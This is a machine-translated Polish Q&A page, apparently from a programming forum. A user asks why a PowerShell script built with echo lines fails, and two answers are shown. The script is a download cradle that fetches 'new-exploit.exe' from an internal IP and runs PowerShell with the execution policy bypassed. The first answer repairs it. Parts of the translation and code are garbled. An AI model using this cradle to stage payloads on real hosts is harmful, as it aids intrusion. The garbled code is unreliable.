/ / Mój skrytka Powershell nie pobiera pliku i generuje błąd wyceny wartości Nero-Valued - powershell

Moje skrypty Powershell nie pobierają pliku i zawierają błąd wartości null-Valued - powershell

Oto mój skrypt programu PowerShell, który pobiera plik ze zdalnego komputera:

Konsola Powershell:

C:UsersXXX> echo $storageDir = $pwd > wget.ps1
C:UsersXXX> echo $webclient = New-Object System.Net.WebClient >> wget.ps1
C:UsersXXX> echo $url = "http://172.16.3.89/new-exploit.exe" >> wget.ps1
C:UsersXXX> echo $file = "new-exploit.exe" >> wget.ps1
C:UsersXXX> echo $webclient.DownloadFile($url,$file) >> wget.ps1

Ostatnia linia podaje następujący błąd:

Wydajność:

You cannot call a method on a null-valued expression.
At line:1 char:29
* echo $webclient.DownloadFile <<<<< ($url,$file) >> wget.ps1
*CategoryInfo : InvalidOperation: (DownloadFile:String [], RuntimeException
*FullyQualifiedErrorId : InvokeMethodOnNull

Jeśli zajmuję się ostatnią linią, mogę pobrać plik w powłoce powershell za pomocą następującego polecenia:

Konsola Powershell:

C:UsersXXX> powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -
NoProfile -File wget.ps1

Jak mogę rozwiązać problem "wyrażenia o wartości null" w $ webclient? Masz jakiś pomysł?

Odpowiedzi:

1 dla odpowiedzi № 1

Nie piszemy linii jak-jest w pliku wyjściowym, są one interpretowane i wykonywane.

Na przykład pierwszy wiersz pisze do wget.ps1 3 rzeczy: wartość zmiennej $storageDir, znak równości i wartość zmiennej $pwd. Wskazane wyrażenie o wartości zerowej to $webclient zmienna, która w rzeczywistości jest wyceniana na wartość null, gdy wykonasz piątą linię.

Aby osiągnąć to, co masz na myśli, powinieneś umieścić w pojedynczym cytacie zawartość każdej linii:

echo "$storageDir = $pwd" > wget.ps1
echo "$webclient = New-Object System.Net.WebClient" >> wget.ps1
echo "$url = "http://172.16.3.89/new-exploit.exe"" >> wget.ps1
echo "$file = "new-exploit.exe"" >> wget.ps1
echo "$webclient.DownloadFile($url,$file)" >> wget.ps1

0 dla odpowiedzi nr 2

Naprawdę nie rozumiem, co próbujesz zrobić, ale aby pobrać plik, możesz użyć tego fragmentu jako odniesienia:

$downloadPath = "http://ipv4.download.thinkbroadband.com/5MB.zip"
$storageDir = "$PSScriptRoot5mb.zip"
(New-Object System.Net.WebClient).DownloadFile($downloadPath, $storageDir)

Źródło: https://blog.jourdant.me/post/3-ways-to-download-files-with-powershell

Mam nadzieję że to pomoże!

Greetz